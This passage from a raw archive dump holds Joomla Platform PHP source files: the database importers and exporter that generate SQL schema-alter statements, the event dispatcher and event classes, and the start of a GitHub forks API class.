Exception('JPLATFORM_ERROR_NO_TABLES_SPECIFIED'); } return $this; } /** * Get the SQL syntax to add a column. * * @param string $table The table name. * @param SimpleXMLElement $field The XML field definition. * * @return string * * @since 3.0.0 */ protected function getAddColumnSql($table, SimpleXMLElement $field) { return 'ALTER TABLE ' . $this->db->quoteName($table) . ' ADD COLUMN ' . $this->getColumnSql($field); } /** * Get the SQL syntax to add an index. * * @param SimpleXMLElement $field The XML index definition. * * @return string * * @since 3.0.0 */ protected function getAddIndexSql(SimpleXMLElement $field) { return (string) $field['Query']; } /** * Get alters for table if there is a difference. * * @param SimpleXMLElement $structure The XML structure of the table. * * @return array * * @since 3.0.0 */ protected function getAlterTableSql(SimpleXMLElement $structure) { $table = $this->getRealTableName($structure['name']); $oldFields = $this->db->getTableColumns($table); $oldKeys = $this->db->getTableKeys($table); $oldSequence = $this->db->getTableSequences($table); $alters = array(); // Get the fields and keys from the XML that we are aiming for. $newFields = $structure->xpath('field'); $newKeys = $structure->xpath('key'); $newSequence = $structure->xpath('sequence'); /* Sequence section */ $oldSeq = $this->getSeqLookup($oldSequence); $newSequenceLook = $this->getSeqLookup($newSequence); foreach ($newSequenceLook as $kSeqName => $vSeq) { if (isset($oldSeq[$kSeqName])) { // The field exists, check it's the same. $column = $oldSeq[$kSeqName][0]; /* For older database version that doesn't support these fields use default values */ if (version_compare($this->db->getVersion(), '9.1.0') < 0) { $column->Min_Value = '1'; $column->Max_Value = '9223372036854775807'; $column->Increment = '1'; $column->Cycle_option = 'NO'; $column->Start_Value = '1'; } // Test whether there is a change. $change = ((string) $vSeq[0]['Type'] != $column->Type) || ((string) $vSeq[0]['Start_Value'] != $column->Start_Value) || ((string) $vSeq[0]['Min_Value'] != $column->Min_Value) || ((string) $vSeq[0]['Max_Value'] != $column->Max_Value) || ((string) $vSeq[0]['Increment'] != $column->Increment) || ((string) $vSeq[0]['Cycle_option'] != $column->Cycle_option) || ((string) $vSeq[0]['Table'] != $column->Table) || ((string) $vSeq[0]['Column'] != $column->Column) || ((string) $vSeq[0]['Schema'] != $column->Schema) || ((string) $vSeq[0]['Name'] != $column->Name); if ($change) { $alters[] = $this->getChangeSequenceSql($kSeqName, $vSeq); } // Unset this field so that what we have left are fields that need to be removed. unset($oldSeq[$kSeqName]); } else { // The sequence is new $alters[] = $this->getAddSequenceSql($newSequenceLook[$kSeqName][0]); } } // Any sequences left are orphans foreach ($oldSeq as $name => $column) { // Delete the sequence. $alters[] = $this->getDropSequenceSql($name); } /* Field section */ // Loop through each field in the new structure. foreach ($newFields as $field) { $fName = (string) $field['Field']; if (isset($oldFields[$fName])) { // The field exists, check it's the same. $column = $oldFields[$fName]; // Test whether there is a change. $change = ((string) $field['Type'] != $column->Type) || ((string) $field['Null'] != $column->Null) || ((string) $field['Default'] != $column->Default); if ($change) { $alters[] = $this->getChangeColumnSql($table, $field); } // Unset this field so that what we have left are fields that need to be removed. unset($oldFields[$fName]); } else { // The field is new. $alters[] = $this->getAddColumnSql($table, $field); } } // Any columns left are orphans foreach ($oldFields as $name => $column) { // Delete the column. $alters[] = $this->getDropColumnSql($table, $name); } /* Index section */ // Get the lookups for the old and new keys $oldLookup = $this->getIdxLookup($oldKeys); $newLookup = $this->getIdxLookup($newKeys); // Loop through each key in the new structure. foreach ($newLookup as $name => $keys) { // Check if there are keys on this field in the existing table. if (isset($oldLookup[$name])) { $same = true; $newCount = count($newLookup[$name]); $oldCount = count($oldLookup[$name]); // There is a key on this field in the old and new tables. Are they the same? if ($newCount == $oldCount) { for ($i = 0; $i < $newCount; $i++) { // Check only query field -> different query means different index $same = ((string) $newLookup[$name][$i]['Query'] == $oldLookup[$name][$i]->Query); if (!$same) { // Break out of the loop. No need to check further. break; } } } else { // Count is different, just drop and add. $same = false; } if (!$same) { $alters[] = $this->getDropIndexSql($name); $alters[] = (string) $newLookup[$name][0]['Query']; } // Unset this field so that what we have left are fields that need to be removed. unset($oldLookup[$name]); } else { // This is a new key. $alters[] = (string) $newLookup[$name][0]['Query']; } } // Any keys left are orphans. foreach ($oldLookup as $name => $keys) { if ($oldLookup[$name][0]->is_primary == 'TRUE') { $alters[] = $this->getDropPrimaryKeySql($table, $oldLookup[$name][0]->Index); } else { $alters[] = $this->getDropIndexSql($name); } } return $alters; } /** * Get the SQL syntax to drop a sequence. * * @param string $name The name of the sequence to drop. * * @return string * * @since 3.0.0 */ protected function getDropSequenceSql($name) { return 'DROP SEQUENCE ' . $this->db->quoteName($name); } /** * Get the syntax to add a sequence. * * @param SimpleXMLElement $field The XML definition for the sequence. * * @return string * * @since 3.0.0 */ protected function getAddSequenceSql($field) { /* For older database version that doesn't support these fields use default values */ if (version_compare($this->db->getVersion(), '9.1.0') < 0) { $field['Min_Value'] = '1'; $field['Max_Value'] = '9223372036854775807'; $field['Increment'] = '1'; $field['Cycle_option'] = 'NO'; $field['Start_Value'] = '1'; } return 'CREATE SEQUENCE ' . (string) $field['Name'] . ' INCREMENT BY ' . (string) $field['Increment'] . ' MINVALUE ' . $field['Min_Value'] . ' MAXVALUE ' . (string) $field['Max_Value'] . ' START ' . (string) $field['Start_Value'] . (((string) $field['Cycle_option'] == 'NO') ? ' NO' : '') . ' CYCLE' . ' OWNED BY ' . $this->db->quoteName((string) $field['Schema'] . '.' . (string) $field['Table'] . '.' . (string) $field['Column']); } /** * Get the syntax to alter a sequence. * * @param SimpleXMLElement $field The XML definition for the sequence. * * @return string * * @since 3.0.0 */ protected function getChangeSequenceSql($field) { /* For older database version that doesn't support these fields use default values */ if (version_compare($this->db->getVersion(), '9.1.0') < 0) { $field['Min_Value'] = '1'; $field['Max_Value'] = '9223372036854775807'; $field['Increment'] = '1'; $field['Cycle_option'] = 'NO'; $field['Start_Value'] = '1'; } return 'ALTER SEQUENCE ' . (string) $field['Name'] . ' INCREMENT BY ' . (string) $field['Increment'] . ' MINVALUE ' . (string) $field['Min_Value'] . ' MAXVALUE ' . (string) $field['Max_Value'] . ' START ' . (string) $field['Start_Value'] . ' OWNED BY ' . $this->db->quoteName((string) $field['Schema'] . '.' . (string) $field['Table'] . '.' . (string) $field['Column']); } /** * Get the syntax to alter a column. * * @param string $table The name of the database table to alter. * @param SimpleXMLElement $field The XML definition for the field. * * @return string * * @since 3.0.0 */ protected function getChangeColumnSql($table, SimpleXMLElement $field) { return 'ALTER TABLE ' . $this->db->quoteName($table) . ' ALTER COLUMN ' . $this->db->quoteName((string) $field['Field']) . ' ' . $this->getAlterColumnSql($table, $field); } /** * Get the SQL syntax for a single column that would be included in a table create statement. * * @param string $table The name of the database table to alter. * @param SimpleXMLElement $field The XML field definition. * * @return string * * @since 3.0.0 */ protected function getAlterColumnSql($table, $field) { // TODO Incorporate into parent class and use $this. $blobs = array('text', 'smalltext', 'mediumtext', 'largetext'); $fName = (string) $field['Field']; $fType = (string) $field['Type']; $fNull = (string) $field['Null']; $fDefault = (isset($field['Default']) && $field['Default'] != 'NULL') ? preg_match('/^[0-9]$/', $field['Default']) ? $field['Default'] : $this->db->quote((string) $field['Default']) : null; $query = ' TYPE ' . $fType; if ($fNull == 'NO') { if (in_array($fType, $blobs) || $fDefault === null) { $query .= ",\nALTER COLUMN " . $this->db->quoteName($fName) . ' SET NOT NULL' . ",\nALTER COLUMN " . $this->db->quoteName($fName) . ' DROP DEFAULT'; } else { $query .= ",\nALTER COLUMN " . $this->db->quoteName($fName) . ' SET NOT NULL' . ",\nALTER COLUMN " . $this->db->quoteName($fName) . ' SET DEFAULT ' . $fDefault; } } else { if ($fDefault !== null) { $query .= ",\nALTER COLUMN " . $this->db->quoteName($fName) . ' DROP NOT NULL' . ",\nALTER COLUMN " . $this->db->quoteName($fName) . ' SET DEFAULT ' . $fDefault; } } /* sequence was created in other function, here is associated a default value but not yet owner */ if (strpos($fDefault, 'nextval') !== false) { $query .= ";\nALTER SEQUENCE " . $this->db->quoteName($table . '_' . $fName . '_seq') . ' OWNED BY ' . $this->db->quoteName($table . '.' . $fName); } return $query; } /** * Get the SQL syntax for a single column that would be included in a table create statement. * * @param SimpleXMLElement $field The XML field definition. * * @return string * * @since 3.0.0 */ protected function getColumnSql(SimpleXMLElement $field) { // TODO Incorporate into parent class and use $this. $blobs = array('text', 'smalltext', 'mediumtext', 'largetext'); $fName = (string) $field['Field']; $fType = (string) $field['Type']; $fNull = (string) $field['Null']; $fDefault = (isset($field['Default']) && $field['Default'] != 'NULL') ? preg_match('/^[0-9]$/', $field['Default']) ? $field['Default'] : $this->db->quote((string) $field['Default']) : null; /* nextval() as default value means that type field is serial */ if (strpos($fDefault, 'nextval') !== false) { $query = $this->db->quoteName($fName) . ' SERIAL'; } else { $query = $this->db->quoteName($fName) . ' ' . $fType; if ($fNull == 'NO') { if (in_array($fType, $blobs) || $fDefault === null) { $query .= ' NOT NULL'; } else { $query .= ' NOT NULL DEFAULT ' . $fDefault; } } else { if ($fDefault !== null) { $query .= ' DEFAULT ' . $fDefault; } } } return $query; } /** * Get the SQL syntax to drop an index. * * @param string $name The name of the key to drop. * * @return string * * @since 3.0.0 */ protected function getDropIndexSql($name) { return 'DROP INDEX ' . $this->db->quoteName($name); } /** * Get the SQL syntax to drop a key. * * @param string $table The table name. * @param string $name The constraint name. * * @return string * * @since 3.0.0 */ protected function getDropPrimaryKeySql($table, $name) { return 'ALTER TABLE ONLY ' . $this->db->quoteName($table) . ' DROP CONSTRAINT ' . $this->db->quoteName($name); } /** * Get the details list of keys for a table. * * @param array $keys An array of objects that comprise the keys for the table. * * @return array The lookup array. array({key name} => array(object, ...)) * * @since 3.0.0 * @throws Exception */ protected function getIdxLookup($keys) { // First pass, create a lookup of the keys. $lookup = array(); foreach ($keys as $key) { if ($key instanceof SimpleXMLElement) { $kName = (string) $key['Index']; } else { $kName = $key->Index; } if (empty($lookup[$kName])) { $lookup[$kName] = array(); } $lookup[$kName][] = $key; } return $lookup; } /** * Get the details list of sequences for a table. * * @param array $sequences An array of objects that comprise the sequences for the table. * * @return array The lookup array. array({key name} => array(object, ...)) * * @since 3.0.0 * @throws Exception */ protected function getSeqLookup($sequences) { // First pass, create a lookup of the keys. $lookup = array(); foreach ($sequences as $seq) { if ($seq instanceof SimpleXMLElement) { $sName = (string) $seq['Name']; } else { $sName = $seq->Name; } if (empty($lookup[$sName])) { $lookup[$sName] = array(); } $lookup[$sName][] = $seq; } return $lookup; } } PK�\m���+�+%joomla/database/importer/pdomysql.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * MySQL import driver for the PDO based MySQL database driver. * * @package Joomla.Platform * @subpackage Database * @since 3.4 */ class JDatabaseImporterPdomysql extends JDatabaseImporter { /** * Get the SQL syntax to add a column. * * @param string $table The table name. * @param SimpleXMLElement $field The XML field definition. * * @return string * * @since 3.4 */ protected function getAddColumnSql($table, SimpleXMLElement $field) { $sql = 'ALTER TABLE ' . $this->db->quoteName($table) . ' ADD COLUMN ' . $this->getColumnSql($field); return $sql; } /** * Get the SQL syntax to add a key. * * @param string $table The table name. * @param array $keys An array of the fields pertaining to this key. * * @return string * * @since 3.4 */ protected function getAddKeySql($table, $keys) { $sql = 'ALTER TABLE ' . $this->db->quoteName($table) . ' ADD ' . $this->getKeySql($keys); return $sql; } /** * Get alters for table if there is a difference. * * @param SimpleXMLElement $structure The XML structure of the table. * * @return array * * @since 3.4 */ protected function getAlterTableSql(SimpleXMLElement $structure) { // Initialise variables. $table = $this->getRealTableName($structure['name']); $oldFields = $this->db->getTableColumns($table); $oldKeys = $this->db->getTableKeys($table); $alters = array(); // Get the fields and keys from the XML that we are aiming for. $newFields = $structure->xpath('field'); $newKeys = $structure->xpath('key'); // Loop through each field in the new structure. foreach ($newFields as $field) { $fName = (string) $field['Field']; if (isset($oldFields[$fName])) { // The field exists, check it's the same. $column = $oldFields[$fName]; // Test whether there is a change. $change = ((string) $field['Type'] != $column->Type) || ((string) $field['Null'] != $column->Null) || ((string) $field['Default'] != $column->Default) || ((string) $field['Extra'] != $column->Extra); if ($change) { $alters[] = $this->getChangeColumnSql($table, $field); } // Unset this field so that what we have left are fields that need to be removed. unset($oldFields[$fName]); } else { // The field is new. $alters[] = $this->getAddColumnSql($table, $field); } } // Any columns left are orphans foreach ($oldFields as $name => $column) { // Delete the column. $alters[] = $this->getDropColumnSql($table, $name); } // Get the lookups for the old and new keys. $oldLookup = $this->getKeyLookup($oldKeys); $newLookup = $this->getKeyLookup($newKeys); // Loop through each key in the new structure. foreach ($newLookup as $name => $keys) { // Check if there are keys on this field in the existing table. if (isset($oldLookup[$name])) { $same = true; $newCount = count($newLookup[$name]); $oldCount = count($oldLookup[$name]); // There is a key on this field in the old and new tables. Are they the same? if ($newCount == $oldCount) { // Need to loop through each key and do a fine grained check. for ($i = 0; $i < $newCount; $i++) { $same = (((string) $newLookup[$name][$i]['Non_unique'] == $oldLookup[$name][$i]->Non_unique) && ((string) $newLookup[$name][$i]['Column_name'] == $oldLookup[$name][$i]->Column_name) && ((string) $newLookup[$name][$i]['Seq_in_index'] == $oldLookup[$name][$i]->Seq_in_index) && ((string) $newLookup[$name][$i]['Collation'] == $oldLookup[$name][$i]->Collation) && ((string) $newLookup[$name][$i]['Index_type'] == $oldLookup[$name][$i]->Index_type)); /* Debug. echo '<pre>'; echo '<br />Non_unique: '. ((string) $newLookup[$name][$i]['Non_unique'] == $oldLookup[$name][$i]->Non_unique ? 'Pass' : 'Fail').' '. (string) $newLookup[$name][$i]['Non_unique'].' vs '.$oldLookup[$name][$i]->Non_unique; echo '<br />Column_name: '. ((string) $newLookup[$name][$i]['Column_name'] == $oldLookup[$name][$i]->Column_name ? 'Pass' : 'Fail').' '. (string) $newLookup[$name][$i]['Column_name'].' vs '.$oldLookup[$name][$i]->Column_name; echo '<br />Seq_in_index: '. ((string) $newLookup[$name][$i]['Seq_in_index'] == $oldLookup[$name][$i]->Seq_in_index ? 'Pass' : 'Fail').' '. (string) $newLookup[$name][$i]['Seq_in_index'].' vs '.$oldLookup[$name][$i]->Seq_in_index; echo '<br />Collation: '. ((string) $newLookup[$name][$i]['Collation'] == $oldLookup[$name][$i]->Collation ? 'Pass' : 'Fail').' '. (string) $newLookup[$name][$i]['Collation'].' vs '.$oldLookup[$name][$i]->Collation; echo '<br />Index_type: '. ((string) $newLookup[$name][$i]['Index_type'] == $oldLookup[$name][$i]->Index_type ? 'Pass' : 'Fail').' '. (string) $newLookup[$name][$i]['Index_type'].' vs '.$oldLookup[$name][$i]->Index_type; echo '<br />Same = '.($same ? 'true' : 'false'); echo '</pre>'; */ if (!$same) { // Break out of the loop. No need to check further. break; } } } else { // Count is different, just drop and add. $same = false; } if (!$same) { $alters[] = $this->getDropKeySql($table, $name); $alters[] = $this->getAddKeySql($table, $keys); } // Unset this field so that what we have left are fields that need to be removed. unset($oldLookup[$name]); } else { // This is a new key. $alters[] = $this->getAddKeySql($table, $keys); } } // Any keys left are orphans. foreach ($oldLookup as $name => $keys) { if (strtoupper($name) == 'PRIMARY') { $alters[] = $this->getDropPrimaryKeySql($table); } else { $alters[] = $this->getDropKeySql($table, $name); } } return $alters; } /** * Get the syntax to alter a column. * * @param string $table The name of the database table to alter. * @param SimpleXMLElement $field The XML definition for the field. * * @return string * * @since 3.4 */ protected function getChangeColumnSql($table, SimpleXMLElement $field) { $sql = 'ALTER TABLE ' . $this->db->quoteName($table) . ' CHANGE COLUMN ' . $this->db->quoteName((string) $field['Field']) . ' ' . $this->getColumnSql($field); return $sql; } /** * Get the SQL syntax for a single column that would be included in a table create or alter statement. * * @param SimpleXMLElement $field The XML field definition. * * @return string * * @since 3.4 */ protected function getColumnSql(SimpleXMLElement $field) { // Initialise variables. // TODO Incorporate into parent class and use $this. $blobs = array('text', 'smalltext', 'mediumtext', 'largetext'); $fName = (string) $field['Field']; $fType = (string) $field['Type']; $fNull = (string) $field['Null']; $fDefault = isset($field['Default']) ? (string) $field['Default'] : null; $fExtra = (string) $field['Extra']; $sql = $this->db->quoteName($fName) . ' ' . $fType; if ($fNull == 'NO') { if (in_array($fType, $blobs) || $fDefault === null) { $sql .= ' NOT NULL'; } else { // TODO Don't quote numeric values. $sql .= ' NOT NULL DEFAULT ' . $this->db->quote($fDefault); } } else { if ($fDefault === null) { $sql .= ' DEFAULT NULL'; } else { // TODO Don't quote numeric values. $sql .= ' DEFAULT ' . $this->db->quote($fDefault); } } if ($fExtra) { $sql .= ' ' . strtoupper($fExtra); } return $sql; } /** * Get the SQL syntax to drop a column. * * @param string $table The table name. * @param string $name The name of the field to drop. * * @return string * * @since 3.4 */ protected function getDropColumnSql($table, $name) { $sql = 'ALTER TABLE ' . $this->db->quoteName($table) . ' DROP COLUMN ' . $this->db->quoteName($name); return $sql; } /** * Get the SQL syntax to drop a key. * * @param string $table The table name. * @param string $name The name of the key to drop. * * @return string * * @since 3.4 */ protected function getDropKeySql($table, $name) { $sql = 'ALTER TABLE ' . $this->db->quoteName($table) . ' DROP KEY ' . $this->db->quoteName($name); return $sql; } /** * Get the SQL syntax to drop a key. * * @param string $table The table name. * * @return string * * @since 3.4 */ protected function getDropPrimaryKeySql($table) { $sql = 'ALTER TABLE ' . $this->db->quoteName($table) . ' DROP PRIMARY KEY'; return $sql; } /** * Get the details list of keys for a table. * * @param array $keys An array of objects that comprise the keys for the table. * * @return array The lookup array. array({key name} => array(object, ...)) * * @since 3.4 * @throws Exception */ protected function getKeyLookup($keys) { // First pass, create a lookup of the keys. $lookup = array(); foreach ($keys as $key) { if ($key instanceof SimpleXMLElement) { $kName = (string) $key['Key_name']; } else { $kName = $key->Key_name; } if (empty($lookup[$kName])) { $lookup[$kName] = array(); } $lookup[$kName][] = $key; } return $lookup; } /** * Get the SQL syntax for a key. * * @param array $columns An array of SimpleXMLElement objects comprising the key. * * @return string * * @since 3.4 */ protected function getKeySql($columns) { // TODO Error checking on array and element types. $kNonUnique = (string) $columns[0]['Non_unique']; $kName = (string) $columns[0]['Key_name']; $kColumn = (string) $columns[0]['Column_name']; $prefix = ''; if ($kName == 'PRIMARY') { $prefix = 'PRIMARY '; } elseif ($kNonUnique == 0) { $prefix = 'UNIQUE '; } $nColumns = count($columns); $kColumns = array(); if ($nColumns == 1) { $kColumns[] = $this->db->quoteName($kColumn); } else { foreach ($columns as $column) { $kColumns[] = (string) $column['Column_name']; } } $sql = $prefix . 'KEY ' . ($kName != 'PRIMARY' ? $this->db->quoteName($kName) : '') . ' (' . implode(',', $kColumns) . ')'; return $sql; } /** * Checks if all data and options are in order prior to exporting. * * @return JDatabaseImporterPdomysql Method supports chaining. * * @since 3.4 * @throws Exception if an error is encountered. */ public function check() { // Check if the db connector has been set. if (!($this->db instanceof JDatabaseDriverPdomysql)) { throw new Exception('JPLATFORM_ERROR_DATABASE_CONNECTOR_WRONG_TYPE'); } // Check if the tables have been specified. if (empty($this->from)) { throw new Exception('JPLATFORM_ERROR_NO_TABLES_SPECIFIED'); } return $this; } } PK�\b�a�"joomla/database/importer/mysql.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * MySQL import driver. * * @since 1.7.0 * @deprecated 4.0 Use MySQLi or PDO MySQL instead */ class JDatabaseImporterMysql extends JDatabaseImporterMysqli { /** * Checks if all data and options are in order prior to exporting. * * @return JDatabaseImporterMysql Method supports chaining. * * @since 1.7.0 * @throws Exception if an error is encountered. */ public function check() { // Check if the db connector has been set. if (!($this->db instanceof JDatabaseDriverMysql)) { throw new Exception('JPLATFORM_ERROR_DATABASE_CONNECTOR_WRONG_TYPE'); } // Check if the tables have been specified. if (empty($this->from)) { throw new Exception('JPLATFORM_ERROR_NO_TABLES_SPECIFIED'); } return $this; } } PK�\z�w���"joomla/database/importer/pgsql.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * PDO PostgreSQL Database Importer. * * @since 3.9.0 */ class JDatabaseImporterPgsql extends JDatabaseImporterPostgresql { /** * Checks if all data and options are in order prior to exporting. * * @return JDatabaseImporterPgsql Method supports chaining. * * @since 3.9.0 * @throws \Exception if an error is encountered. */ public function check() { // Check if the db connector has been set. if (!($this->db instanceof JDatabaseDriverPgsql)) { throw new Exception('JPLATFORM_ERROR_DATABASE_CONNECTOR_WRONG_TYPE'); } // Check if the tables have been specified. if (empty($this->from)) { throw new Exception('JPLATFORM_ERROR_NO_TABLES_SPECIFIED'); } return $this; } } PK�\�����joomla/database/exporter.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2005 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Joomla Platform Database Exporter Class * * @since 3.0.0 */ abstract class JDatabaseExporter { /** * The type of output format (xml). * * @var string * @since 3.2.0 */ protected $asFormat = 'xml'; /** * An array of cached data. * * @var array * @since 3.2.0 */ protected $cache = array(); /** * The database connector to use for exporting structure and/or data. * * @var JDatabaseDriver * @since 3.2.0 */ protected $db = null; /** * An array input sources (table names). * * @var array * @since 3.2.0 */ protected $from = array(); /** * An array of options for the exporter. * * @var object * @since 3.2.0 */ protected $options = null; /** * Constructor. * * Sets up the default options for the exporter. * * @since 3.2.0 */ public function __construct() { $this->options = new stdClass; $this->cache = array('columns' => array(), 'keys' => array()); // Set up the class defaults: // Export with only structure $this->withStructure(); // Export as xml. $this->asXml(); // Default destination is a string using $output = (string) $exporter; } /** * Magic function to exports the data to a string. * * @return string * * @since 3.2.0 * @throws Exception if an error is encountered. */ public function __toString() { // Check everything is ok to run first. $this->check(); // Get the format. switch ($this->asFormat) { case 'xml': default: $buffer = $this->buildXml(); break; } return $buffer; } /** * Set the output option for the exporter to XML format. * * @return JDatabaseExporter Method supports chaining. * * @since 3.2.0 */ public function asXml() { $this->asFormat = 'xml'; return $this; } /** * Builds the XML data for the tables to export. * * @return string An XML string * * @since 3.2.0 * @throws Exception if an error occurs. */ abstract protected function buildXml(); /** * Builds the XML structure to export. * * @return array An array of XML lines (strings). * * @since 3.2.0 * @throws Exception if an error occurs. */ abstract protected function buildXmlStructure(); /** * Checks if all data and options are in order prior to exporting. * * @return JDatabaseDriver Method supports chaining. * * @since 3.2.0 * @throws Exception if an error is encountered. */ abstract public function check(); /** * Specifies a list of table names to export. * * @param mixed $from The name of a single table, or an array of the table names to export. * * @return JDatabaseExporter Method supports chaining. * * @since 3.2.0 * @throws Exception if input is not a string or array. */ public function from($from) { if (is_string($from)) { $this->from = array($from); } elseif (is_array($from)) { $this->from = $from; } else { throw new Exception('JPLATFORM_ERROR_INPUT_REQUIRES_STRING_OR_ARRAY'); } return $this; } /** * Get the generic name of the table, converting the database prefix to the wildcard string. * * @param string $table The name of the table. * * @return string The name of the table with the database prefix replaced with #__. * * @since 3.2.0 */ protected function getGenericTableName($table) { $prefix = $this->db->getPrefix(); // Replace the magic prefix if found. $table = preg_replace("|^$prefix|", '#__', $table); return $table; } /** * Sets the database connector to use for exporting structure and/or data from MySQL. * * @param JDatabaseDriver $db The database connector. * * @return JDatabaseExporter Method supports chaining. * * @since 3.2.0 */ public function setDbo(JDatabaseDriver $db) { $this->db = $db; return $this; } /** * Sets an internal option to export the structure of the input table(s). * * @param boolean $setting True to export the structure, false to not. * * @return JDatabaseExporter Method supports chaining. * * @since 3.2.0 */ public function withStructure($setting = true) { $this->options->withStructure = (boolean) $setting; return $this; } } PK�\g�S���joomla/event/dispatcher.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Event * * @copyright (C) 2005 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Class to handle dispatching of events. * * This is the Observable part of the Observer design pattern * for the event architecture. * * @see JPlugin * @since 3.0.0 * @deprecated 4.0 The CMS' Event classes will be replaced with the `joomla/event` package */ class JEventDispatcher extends JObject { /** * An array of Observer objects to notify * * @var array * @since 3.0.0 */ protected $_observers = array(); /** * The state of the observable object * * @var mixed * @since 3.0.0 */ protected $_state = null; /** * A multi dimensional array of [function][] = key for observers * * @var array * @since 3.0.0 */ protected $_methods = array(); /** * Stores the singleton instance of the dispatcher. * * @var JEventDispatcher * @since 3.0.0 */ protected static $instance = null; /** * Returns the global Event Dispatcher object, only creating it * if it doesn't already exist. * * @return JEventDispatcher The EventDispatcher object. * * @since 3.0.0 */ public static function getInstance() { if (self::$instance === null) { self::$instance = new static; } return self::$instance; } /** * Get the state of the JEventDispatcher object * * @return mixed The state of the object. * * @since 3.0.0 */ public function getState() { return $this->_state; } /** * Registers an event handler to the event dispatcher * * @param string $event Name of the event to register handler for * @param string $handler Name of the event handler * * @return void * * @since 3.0.0 * @throws InvalidArgumentException */ public function register($event, $handler) { // Are we dealing with a class or callback type handler? if (is_callable($handler)) { // Ok, function type event handler... let's attach it. $method = array('event' => $event, 'handler' => $handler); $this->attach($method); } elseif (class_exists($handler)) { // Ok, class type event handler... let's instantiate and attach it. $this->attach(new $handler($this)); } else { throw new InvalidArgumentException('Invalid event handler.'); } } /** * Triggers an event by dispatching arguments to all observers that handle * the event and returning their return values. * * @param string $event The event to trigger. * @param array $args An array of arguments. * * @return array An array of results from each function call. * * @since 3.0.0 */ public function trigger($event, $args = array()) { $result = array(); /* * If no arguments were passed, we still need to pass an empty array to * the call_user_func_array function. */ $args = (array) $args; $event = strtolower($event); // Check if any plugins are attached to the event. if (!isset($this->_methods[$event]) || empty($this->_methods[$event])) { // No Plugins Associated To Event! return $result; } // Loop through all plugins having a method matching our event foreach ($this->_methods[$event] as $key) { // Check if the plugin is present. if (!isset($this->_observers[$key])) { continue; } // Fire the event for an object based observer. if (is_object($this->_observers[$key])) { $args['event'] = $event; $value = $this->_observers[$key]->update($args); } // Fire the event for a function based observer. elseif (is_array($this->_observers[$key])) { $value = call_user_func_array($this->_observers[$key]['handler'], array_values($args)); } if (isset($value)) { $result[] = $value; } } return $result; } /** * Attach an observer object * * @param object $observer An observer object to attach * * @return void * * @since 3.0.0 */ public function attach($observer) { if (is_array($observer)) { if (!isset($observer['handler']) || !isset($observer['event']) || !is_callable($observer['handler'])) { return; } // Make sure we haven't already attached this array as an observer foreach ($this->_observers as $check) { if (is_array($check) && $check['event'] === $observer['event'] && $check['handler'] === $observer['handler']) { return; } } $this->_observers[] = $observer; $methods = array($observer['event']); } else { if (!($observer instanceof JEvent)) { return; } // Make sure we haven't already attached this object as an observer $class = get_class($observer); foreach ($this->_observers as $check) { if ($check instanceof $class) { return; } } $this->_observers[] = $observer; $methods = array_diff(get_class_methods($observer), get_class_methods('JPlugin')); } end($this->_observers); $key = key($this->_observers); foreach ($methods as $method) { $method = strtolower($method); if (!isset($this->_methods[$method])) { $this->_methods[$method] = array(); } $this->_methods[$method][] = $key; } } /** * Detach an observer object * * @param object $observer An observer object to detach. * * @return boolean True if the observer object was detached. * * @since 3.0.0 */ public function detach($observer) { $retval = false; $key = array_search($observer, $this->_observers); if ($key !== false) { unset($this->_observers[$key]); $retval = true; foreach ($this->_methods as &$method) { $k = array_search($key, $method); if ($k !== false) { unset($method[$k]); } } } return $retval; } } PK�\����joomla/event/event.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Event * * @copyright (C) 2005 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * JEvent Class * * @since 1.5 * @deprecated 4.0 The CMS' Event classes will be replaced with the `joomla/event` package */ abstract class JEvent extends JObject { /** * Event object to observe. * * @var object * @since 2.5 */ protected $_subject = null; /** * Constructor * * @param object &$subject The object to observe. * * @since 2.5 */ public function __construct(&$subject) { // Register the observer ($this) so we can be notified $subject->attach($this); // Set the subject to observe $this->_subject = &$subject; } /** * Method to trigger events. * The method first generates the even from the argument array. Then it unsets the argument * since the argument has no bearing on the event handler. * If the method exists it is called and returns its return value. If it does not exist it * returns null. * * @param array &$args Arguments * * @return mixed Routine return value * * @since 1.5 */ public function update(&$args) { // First let's get the event from the argument array. Next we will unset the // event argument as it has no bearing on the method to handle the event. $event = $args['event']; unset($args['event']); /* * If the method to handle an event exists, call it and return its return * value. If it does not exist, return null. */ if (method_exists($this, $event)) { return call_user_func_array(array($this, $event), array_values($args)); } } } PK�\е� � � joomla/github/forks.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API Forks class for the Joomla Platform. * * @since 1.7.3 * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubForks extends JGithubObject { /** * Method to fork a repository. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $org The organization to fork the repo into. By default it is forked to the current user. * * @deprecated use repositories->forks->create() * * @return object * * @since 2.5.0 * @throws DomainException */ public function create($user, $repo, $org = '') { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/forks'; if (strlen($org) > 0) { $data = json_encode( array('org' => $org) ); } else { $data = json_encode(array()); } // Send the request. $response = $this->client->post($this->fetchUrl($path), $data); // Validate the response code. if ($response->code != 202) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to list forks for a repository. * * @param string $user The name of the owner of the GitHub repository. 